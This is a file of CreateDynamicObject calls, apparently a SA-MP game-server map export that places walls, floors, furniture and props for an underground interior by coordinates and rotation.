CreateDynamicObject(19367, 2583.93018, -1491.91785, -48.15700,   0.00000, 0.00000, 990.00000);
CreateDynamicObject(19413, 2575.94653, -1491.91785, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19440, 2573.53979, -1491.91785, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19413, 2571.15576, -1491.91785, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19440, 2568.75244, -1491.91785, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19440, 2573.61475, -1491.23413, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19440, 2578.31860, -1491.23413, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19453, 2601.49902, -1523.92810, -44.64560,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19453, 2604.40186, -1519.21802, -44.64560,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19453, 2604.40723, -1514.36414, -44.64560,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19453, 2601.52881, -1509.55347, -44.64560,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19460, 2605.18359, -1533.41101, -44.66560,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19460, 2601.54688, -1538.22644, -44.66560,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19460, 2606.34937, -1504.71692, -44.66560,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19460, 2601.61230, -1499.81580, -44.64560,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19460, 2601.56616, -1509.53284, -44.66560,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19460, 2596.74243, -1501.52954, -44.66560,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19460, 2596.75220, -1528.67676, -44.66560,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19396, 2596.75220, -1535.09338, -44.66560,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19460, 2601.58057, -1524.01147, -44.64560,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19434, 2596.74512, -1510.27942, -44.66560,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2930, 2580.86865, -1535.06982, -47.34000,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(2930, 2587.29785, -1535.08044, -47.34000,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19389, 2591.95532, -1483.93140, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19359, 2595.14453, -1483.93140, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19457, 2583.40991, -1522.69897, -44.66560,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19438, 2588.94702, -1522.69946, -44.66560,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19457, 2577.47266, -1505.22424, -44.66560,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19365, 2589.66089, -1527.40613, -44.66560,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19365, 2589.66089, -1524.21826, -44.66560,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19365, 2585.99341, -1527.40613, -44.66560,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19365, 2585.99341, -1524.21826, -44.66560,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19365, 2582.31201, -1524.21826, -44.66560,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19365, 2582.31201, -1527.40613, -44.66560,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19365, 2575.94946, -1500.48474, -44.66560,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19365, 2572.75977, -1500.48474, -44.66560,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19365, 2572.75977, -1504.14124, -44.66560,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19365, 2575.94946, -1504.14124, -44.66560,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19365, 2572.75977, -1507.78198, -44.66560,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19365, 2575.94946, -1507.78198, -44.66560,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19365, 2572.75977, -1511.46228, -44.66560,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19365, 2575.94946, -1511.46228, -44.66560,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19365, 2572.75977, -1515.10449, -44.66560,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19365, 2575.94946, -1515.10449, -44.66560,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19457, 2583.40991, -1522.69995, -45.66560,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19438, 2588.94702, -1522.70020, -45.66560,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19457, 2577.46680, -1514.04822, -45.66560,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19457, 2577.46289, -1505.22412, -45.66560,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19377, 2584.49292, -1527.44690, -46.32280,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2583.97290, -1527.44690, -46.32320,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2604.39526, -1533.42480, -46.34320,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2604.37622, -1523.79626, -46.34320,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2604.37622, -1514.20166, -46.32320,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2604.37622, -1504.58643, -46.32320,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2591.38745, -1536.89417, -46.32320,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19457, 2611.08936, -1538.23767, -44.66560,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19377, 2572.18408, -1513.94531, -46.32320,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2572.18408, -1505.22791, -46.32280,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19303, 2571.18823, -1503.19775, -44.98580,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(19303, 2571.22827, -1501.44617, -44.98580,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19303, 2571.18823, -1506.85437, -44.98580,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(19303, 2571.24829, -1505.10486, -44.98580,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19303, 2571.18823, -1510.49536, -44.98580,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(19303, 2571.24829, -1508.74658, -44.98580,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19303, 2571.18823, -1514.13904, -44.98580,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(19303, 2571.24829, -1512.41980, -44.98580,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19303, 2571.24829, -1516.06641, -44.98580,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19303, 2571.18823, -1517.80603, -44.98580,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(19457, 2571.22729, -1505.22424, -41.98680,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19457, 2571.22754, -1514.04822, -41.98680,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19303, 2581.35059, -1528.97156, -44.98580,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19457, 2583.40991, -1528.94238, -41.98680,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19303, 2579.60327, -1528.91162, -44.98580,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(19303, 2583.28394, -1528.91162, -44.98580,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(19303, 2585.03296, -1528.97156, -44.98580,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19303, 2588.69336, -1528.97156, -44.98580,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19303, 2586.94556, -1528.91162, -44.98580,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(19438, 2588.94702, -1528.94202, -41.98680,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(1800, 2579.32202, -1527.93164, -46.27398,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1800, 2582.93384, -1526.51917, -46.27398,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1800, 2588.66797, -1527.36243, -46.27398,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1800, 2577.43042, -1501.41919, -46.27400,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(1800, 2577.11499, -1505.10083, -46.27400,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(1800, 2577.59204, -1510.85632, -46.27400,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(1800, 2577.44751, -1512.31799, -46.27400,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(1800, 2577.47534, -1516.01294, -46.27400,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19438, 2588.86646, -1506.45715, -46.60810,   90.00000, 0.00000, 0.00000);
CreateDynamicObject(19438, 2588.86597, -1509.73706, -46.60810,   90.00000, 0.00000, 0.00000);
CreateDynamicObject(19438, 2588.86548, -1513.03381, -46.60810,   90.00000, 0.00000, 0.00000);
CreateDynamicObject(19438, 2588.86499, -1516.33594, -46.60810,   90.00000, 0.00000, 0.00000);
CreateDynamicObject(19438, 2588.86548, -1518.14807, -46.60810,   90.00000, 0.00000, 180.00000);
CreateDynamicObject(19438, 2588.86646, -1516.41406, -44.66560,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19438, 2588.88135, -1504.90344, -44.66560,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19438, 2588.86646, -1508.99731, -44.66560,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19438, 2588.87012, -1512.33447, -44.66560,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1810, 2590.42920, -1500.51331, -49.91660,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(1810, 2586.68237, -1497.30750, -49.91660,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2602, 2572.14648, -1504.59937, -49.35030,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2602, 2573.22412, -1511.01282, -49.35030,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(2602, 2573.22266, -1511.92688, -49.35030,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2602, 2572.79858, -1515.56519, -49.35030,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2602, 2591.27979, -1516.63000, -49.35030,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2602, 2591.74487, -1512.97473, -49.35030,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2602, 2592.38574, -1512.03723, -49.35030,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(2602, 2591.84839, -1505.66943, -49.35030,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2602, 2591.37744, -1504.71008, -49.35030,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(2602, 2582.76782, -1527.49097, -49.35030,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(2602, 2589.18628, -1526.14258, -49.35030,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(2602, 2581.86279, -1526.67358, -49.35030,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(2602, 2581.86060, -1523.89819, -45.61610,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(2602, 2585.52637, -1524.74927, -45.61610,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(2602, 2586.44727, -1524.84241, -45.61610,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(2602, 2576.57471, -1518.32629, -45.61610,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(2602, 2576.43530, -1514.63892, -45.61610,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(2602, 2575.47778, -1508.23962, -45.61610,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2602, 2576.33154, -1507.31702, -45.61610,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(2602, 2576.11206, -1503.66699, -45.61610,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(2718, 2568.19434, -1527.00000, -47.33910,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(1711, 2578.03882, -1529.53357, -49.91520,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(1711, 2576.34570, -1531.33813, -49.91520,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(2635, 2569.77515, -1530.23474, -49.51590,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1810, 2569.92432, -1529.15881, -49.91660,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1810, 2569.37134, -1531.29395, -49.91660,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(1810, 2568.62671, -1530.01941, -49.91660,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(1810, 2570.78198, -1530.48633, -49.91660,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(1810, 2576.96851, -1519.39624, -49.91660,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19273, 2594.08350, -1487.19788, -48.57370,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19273, 2594.18018, -1487.10999, -48.57370,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(19273, 2589.69604, -1496.60120, -48.57370,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(19273, 2593.55542, -1499.23413, -48.57370,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19273, 2577.58984, -1486.57471, -48.57370,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19273, 2577.44214, -1484.65076, -48.57370,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(2602, 2587.07300, -1539.93286, -49.35030,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(2602, 2580.64624, -1539.87231, -49.35030,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19377, 2598.66260, -1533.35229, -46.32270,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2598.66260, -1523.75049, -46.32270,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2598.66260, -1514.12561, -46.32270,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2598.66260, -1504.50085, -46.32270,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2598.66260, -1494.88330, -46.32270,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2593.63184, -1506.68372, -46.32320,   0.00000, 90.00000, 90.00000);
CreateDynamicObject(19377, 2593.63184, -1514.64746, -46.32230,   0.00000, 90.00000, 90.00000);
CreateDynamicObject(638, 2568.48364, -1477.85156, -49.19830,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2245, 2572.41943, -1481.87903, -48.68350,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2252, 2572.42139, -1485.11365, -48.68350,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2253, 2568.62402, -1481.60767, -48.72350,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19175, 2585.85278, -1474.42944, -47.35350,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19174, 2574.56104, -1487.03320, -47.61350,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(19173, 2570.72852, -1474.47534, -47.60280,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19172, 2568.13721, -1479.89917, -47.61350,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(18070, 2569.50610, -1483.44165, -49.47186,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(1806, 2586.90967, -1488.75354, -49.91704,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2161, 2596.98218, -1492.31104, -49.91700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(2162, 2596.87769, -1490.86902, -48.72180,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(2163, 2606.37378, -1499.91345, -48.52203,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(2164, 2602.21899, -1487.31799, -49.91704,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2165, 2605.77466, -1496.28833, -49.91700,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(2167, 2596.95679, -1493.40100, -49.91700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(2169, 2597.33545, -1490.92798, -49.91700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(2172, 2597.42065, -1500.96277, -49.91700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(2174, 2599.37720, -1487.76538, -49.91704,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2181, 2603.72656, -1502.96973, -49.91700,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(2182, 2605.72803, -1502.02673, -49.91700,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(2183, 2601.35400, -1497.89331, -49.91700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(2184, 2599.82764, -1527.04395, -46.25660,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2185, 2602.97461, -1531.84851, -46.23660,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(2193, 2598.41455, -1503.01685, -49.91700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(2198, 2601.69312, -1503.04260, -49.91700,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(2199, 2597.56201, -1524.18323, -46.25660,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2200, 2604.13843, -1487.38721, -49.91704,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2204, 2604.62842, -1509.37769, -46.25660,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(2205, 2597.36426, -1502.96680, -46.25660,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(2206, 2603.71655, -1505.10828, -46.25660,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(2308, 2597.39551, -1488.77307, -49.91704,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1714, 2605.20947, -1504.24695, -46.21650,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(1721, 2569.63257, -1474.60681, -49.90590,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(2611, 2591.42407, -1487.29639, -48.26870,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2606, 2591.78906, -1496.30676, -47.69410,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(2604, 2596.13354, -1494.63843, -49.11350,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(2616, 2574.79102, -1518.92114, -48.60635,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1742, 2598.48486, -1538.24622, -46.25660,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(1671, 2600.98779, -1524.89697, -45.79235,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2894, 2591.63574, -1500.69678, -49.08870,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(1998, 2586.08789, -1488.74377, -49.91875,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1523, 2600.10474, -1479.13501, -49.92952,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2742, 2600.31421, -1482.18481, -48.60370,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(2741, 2605.64014, -1483.76282, -48.46370,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(1775, 2579.58594, -1474.87830, -48.82513,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(956, 2580.95557, -1474.80444, -49.49685,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1789, 2588.80957, -1486.76392, -49.35120,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(2146, 2596.20996, -1508.98181, -49.43050,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2628, 2574.28003, -1540.58179, -49.92200,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(2627, 2572.58423, -1540.41638, -49.91840,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(2629, 2575.20313, -1533.17505, -49.91780,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2630, 2568.96802, -1537.28748, -49.91880,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(2631, 2577.87817, -1534.40308, -49.91780,   0.00000, 0.00000, 15.00000);
CreateDynamicObject(2632, 2569.96753, -1534.49731, -49.91730,   0.00000, 0.00000, 100.00000);
CreateDynamicObject(1363, 2583.87109, -1493.30212, -49.08421,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2596, 2571.47485, -1519.17908, -48.30616,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1713, 2584.90649, -1481.50220, -49.90458,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2000, 2586.11768, -1494.90564, -49.91420,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(2523, 2601.54858, -1483.32410, -49.81460,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(2525, 2607.53931, -1476.88062, -49.91460,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(3072, 2570.91357, -1532.60449, -49.71390,   0.00000, 90.00000, 50.00000);
CreateDynamicObject(3004, 2578.01782, -1537.85706, -49.01550,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2995, 2578.33276, -1537.65479, -48.99400,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2996, 2578.62646, -1537.23999, -48.99400,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2997, 2578.38940, -1538.05322, -48.99400,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2998, 2578.55835, -1538.38879, -48.99400,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2999, 2578.71729, -1537.82056, -48.99400,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(3000, 2577.95215, -1538.75720, -48.99400,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2995, 2577.85596, -1538.33630, -48.99400,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2964, 2578.29688, -1537.96448, -49.91370,   0.00000, 0.00000, 80.00000);
CreateDynamicObject(14401, 2587.76660, -1469.15039, -49.62430,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(1363, 2582.29395, -1495.10706, -49.08421,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(14455, 2577.31763, -1481.97693, -48.38499,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(14455, 2590.16699, -1481.47791, -48.38499,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(2146, 2605.76953, -1516.00061, -49.43050,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2611, 2603.20459, -1524.15088, -44.87059,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(14455, 2604.03296, -1509.76282, -48.28500,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(2165, 2569.67407, -1481.68408, -49.75700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(14455, 2598.97168, -1535.75232, -48.28500,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(14455, 2598.63550, -1523.78687, -44.68180,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(14455, 2603.71631, -1500.01074, -44.70180,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(1806, 2600.41162, -1488.70020, -49.91704,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2010, 2568.52417, -1486.66736, -49.90100,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2010, 2577.07935, -1474.77063, -49.90100,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2946, 2576.44922, -1474.44080, -49.90040,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(2946, 2573.27051, -1474.41724, -49.90040,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(2614, 2570.66675, -1486.98413, -47.63040,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(2010, 2568.47461, -1474.89624, -49.90100,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1721, 2570.24854, -1474.60681, -49.90590,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(1721, 2570.86060, -1474.60681, -49.90590,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(1721, 2571.47290, -1474.60681, -49.90590,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(1721, 2583.87866, -1474.54224, -49.90590,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(1721, 2585.25098, -1488.88098, -49.90590,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(1806, 2570.82275, -1490.87329, -49.91700,   0.00000, 0.00000, 200.00000);
CreateDynamicObject(3004, 2578.15698, -1538.35229, -49.01550,   0.00000, 0.00000, -150.00000);
CreateDynamicObject(3072, 2568.93994, -1535.83972, -49.71390,   0.00000, 90.00000, 90.00000);
CreateDynamicObject(3072, 2569.24634, -1533.01208, -49.67390,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(3072, 2579.19116, -1533.47083, -49.67390,   0.00000, 90.00000, 90.00000);
CreateDynamicObject(3072, 2579.59277, -1535.24817, -49.71390,   0.00000, 90.00000, -15.00000);
CreateDynamicObject(2819, 2575.37158, -1504.00977, -49.91674,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2844, 2574.35718, -1511.12402, -49.91626,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2852, 2576.17847, -1504.80542, -49.91603,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2852, 2589.46997, -1511.89709, -49.91603,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2855, 2575.18433, -1511.84570, -49.91580,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(2843, 2575.69604, -1518.78784, -49.91651,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1369, 2575.72192, -1515.83301, -49.31600,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2855, 2589.40991, -1501.91907, -49.91580,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(2843, 2588.94653, -1508.74988, -49.91651,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2819, 2589.46948, -1513.59839, -49.91674,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2855, 2589.45874, -1519.40405, -49.91580,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(2852, 2578.05347, -1531.53015, -49.91600,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(1369, 2597.63550, -1513.57092, -49.31600,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(2146, 2602.29590, -1518.70361, -49.43050,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(14455, 2596.43384, -1517.47253, -44.72180,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(2606, 2578.67944, -1490.76758, -43.61390,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2606, 2597.10278, -1505.08801, -44.05260,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(2819, 2599.03271, -1480.38318, -49.29670,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(2596, 2585.77661, -1483.56042, -47.88430,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(1806, 2594.95313, -1495.69495, -49.91700,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(1806, 2580.77637, -1490.76599, -49.91700,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(1806, 2576.08960, -1490.74622, -49.91700,   0.00000, 0.00000, 170.00000);
CreateDynamicObject(14401, 2613.71362, -1470.69446, -49.62430,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(14401, 2596.19336, -1474.96106, -49.62430,   0.00000, 0.00000, -90.00000);
CreateDynamicObject(14782, 2591.12061, -1478.68481, -48.91040,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19359, 2601.70410, -1477.57898, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1523, 2601.76587, -1479.13501, -49.92950,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19359, 2603.36670, -1477.57898, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1523, 2603.43408, -1479.13501, -49.92950,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19359, 2605.05103, -1477.57898, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1523, 2605.11182, -1479.13501, -49.92950,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19359, 2606.72070, -1477.57898, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1523, 2606.78003, -1479.13501, -49.92950,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19359, 2608.38110, -1477.57898, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19359, 2609.90601, -1479.10535, -48.15700,   0.00000, 0.00000, 90.00000);
CreateDynamicObject(19379, 2605.34692, -1479.18799, -49.91380,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(2525, 2605.91382, -1476.88062, -49.91460,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2525, 2604.16821, -1476.88062, -49.91460,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2525, 2602.54395, -1476.88062, -49.91460,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2525, 2600.89771, -1476.88062, -49.91460,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2523, 2603.16846, -1483.32410, -49.81460,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(2523, 2606.63232, -1483.32410, -49.81460,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(2523, 2604.84888, -1483.32410, -49.81460,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(2741, 2603.85864, -1483.76282, -48.46370,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(2741, 2600.60522, -1483.76282, -48.46370,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(2741, 2602.20996, -1483.76282, -48.46370,   0.00000, 0.00000, 180.00000);
CreateDynamicObject(2742, 2600.31421, -1480.62231, -48.60370,   0.00000, 0.00000, 90.00000);
